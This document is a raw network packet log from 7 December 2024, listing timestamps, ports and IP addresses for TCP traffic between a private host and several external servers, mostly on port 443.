Dec 7, 2024 18:26:26.894392014 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896785021 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896822929 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896858931 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896877050 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896904945 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.896915913 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.896938086 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.896946907 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.896995068 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.897063971 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.897089005 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.897103071 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.897103071 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.897103071 CET	49735	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.897113085 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.897120953 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.897124052 CET	443	49735	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.898364067 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.898375034 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.899485111 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.899517059 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.899635077 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.899755955 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.899765015 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.900206089 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.900229931 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.900333881 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.900460005 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.900475025 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.901930094 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.901983976 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.902143955 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.902164936 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.902174950 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.902183056 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.902187109 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.904301882 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.904313087 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:26.904475927 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.904601097 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:26.904608965 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:27.714178085 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:27.717917919 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:27.740173101 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:27.740250111 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:27.828521013 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:27.828552961 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:27.828864098 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:27.867166042 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:27.911326885 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:28.058496952 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.084245920 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:28.088306904 CET	443	49745	142.250.201.14	192.168.2.7
Dec 7, 2024 18:26:28.099335909 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.134906054 CET	49745	443	192.168.2.7	142.250.201.14
Dec 7, 2024 18:26:28.136526108 CET	49729	443	192.168.2.7	142.250.181.68
Dec 7, 2024 18:26:28.136724949 CET	49745	443	192.168.2.7	142.250.201.14
Dec 7, 2024 18:26:28.203865051 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:28.268832922 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:28.268902063 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:28.269154072 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:28.269793987 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:28.269821882 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:28.269833088 CET	49741	443	192.168.2.7	2.16.229.162
Dec 7, 2024 18:26:28.269840002 CET	443	49741	2.16.229.162	192.168.2.7
Dec 7, 2024 18:26:28.466514111 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.466989040 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.467025042 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.468576908 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.468585968 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.623385906 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.623842001 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.623872995 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.624308109 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.624313116 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.625889063 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626070976 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626292944 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.626302958 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626315117 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626450062 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.626466036 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626889944 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.626897097 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.626997948 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.627002954 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.627238035 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.627250910 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.627582073 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.627585888 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.632998943 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633025885 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633032084 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633042097 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633068085 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633083105 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.633109093 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.633131027 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.633162975 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.650926113 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.650991917 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.651002884 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.651206970 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.651226997 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.651237965 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.651385069 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.651422024 CET	443	49731	52.149.20.212	192.168.2.7
Dec 7, 2024 18:26:28.651510954 CET	49731	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:26:28.902251005 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.902323008 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.902543068 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.902651072 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.902676105 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.902693033 CET	49746	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.902698994 CET	443	49746	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.905733109 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.905774117 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:28.905829906 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.905970097 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:28.905981064 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.057496071 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.057574987 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.057730913 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.057769060 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.057789087 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.057800055 CET	49747	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.057806015 CET	443	49747	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.059406042 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.059473038 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.059658051 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.059659004 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.059690952 CET	49750	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.059710979 CET	443	49750	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.059972048 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060031891 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060414076 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060514927 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060576916 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060635090 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060698032 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060723066 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060790062 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060928106 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060928106 CET	49749	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.060945034 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.060955048 CET	443	49749	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.061220884 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.061222076 CET	49748	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.061233044 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.061242104 CET	443	49748	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.061599970 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.061611891 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.062864065 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.062886000 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.062994003 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.063900948 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.063910007 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.064012051 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064034939 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.064143896 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064241886 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064250946 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.064265013 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064301968 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.064358950 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064486027 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:29.064500093 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:29.679847956 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:29.679934025 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:30.625616074 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.648792982 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.648834944 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.650749922 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.650755882 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.796653986 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.796930075 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.797343969 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.797398090 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.797425032 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.798082113 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.798088074 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.798145056 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.798696041 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.798710108 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.799356937 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.799361944 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.799865007 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.799882889 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.800448895 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.800453901 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.800899982 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.800932884 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:30.801459074 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:30.801464081 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.061081886 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.061148882 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.061197996 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.066647053 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.066679955 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.066695929 CET	49753	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.066703081 CET	443	49753	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.100399971 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.100444078 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.100514889 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.113923073 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.113940001 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.233448982 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.233529091 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.233608007 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.233961105 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.234021902 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.234064102 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.234117985 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.234173059 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.234216928 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.234879971 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.234965086 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.235013008 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.252306938 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.252346992 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.252363920 CET	49757	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.252370119 CET	443	49757	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.253911018 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.253943920 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.253957987 CET	49755	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.253964901 CET	443	49755	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.254892111 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.254920959 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.254934072 CET	49756	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.254940987 CET	443	49756	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.256489992 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.256524086 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.256544113 CET	49754	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.256550074 CET	443	49754	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.273467064 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.273498058 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.273561001 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.289346933 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.289360046 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.290541887 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.290587902 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.290651083 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.290920973 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.290934086 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.292399883 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.292438030 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.292485952 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.293487072 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.293498993 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.293564081 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.302246094 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.302265882 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:31.302521944 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:31.302532911 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:32.831741095 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:32.832751989 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:32.832783937 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:32.833724022 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:32.833729029 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.030586004 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.030591011 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.031538010 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.032572985 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.061856031 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.061892986 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.062693119 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.062697887 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.063117981 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.063148975 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.063937902 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.063950062 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.064191103 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.064202070 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.064862013 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.064866066 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.065330982 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.065363884 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.065984964 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.065990925 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.266283035 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.266366959 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.266442060 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.272950888 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.272980928 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.272994995 CET	49758	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.273001909 CET	443	49758	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.317257881 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.317312002 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.317393064 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.321038008 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.321050882 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.400535107 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:33.465873957 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.465945959 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466012955 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466329098 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466351032 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466363907 CET	49761	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466370106 CET	443	49761	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466655970 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466716051 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466767073 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466862917 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466881990 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.466892958 CET	49762	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.466898918 CET	443	49762	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.467533112 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.467598915 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.467648029 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.468158960 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.468178034 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.468188047 CET	49759	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.468194008 CET	443	49759	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.470127106 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.470163107 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.470237970 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.470971107 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471007109 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.471059084 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471178055 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471191883 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.471400023 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471415043 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.471585989 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471597910 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.471663952 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471777916 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.471786976 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.512159109 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.512242079 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.512291908 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.512485027 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.512496948 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.512510061 CET	49760	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.512514114 CET	443	49760	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.515607119 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.515634060 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:33.515701056 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:33.515866995 CET	49767	443	192.168.2.7	13.107.246.63
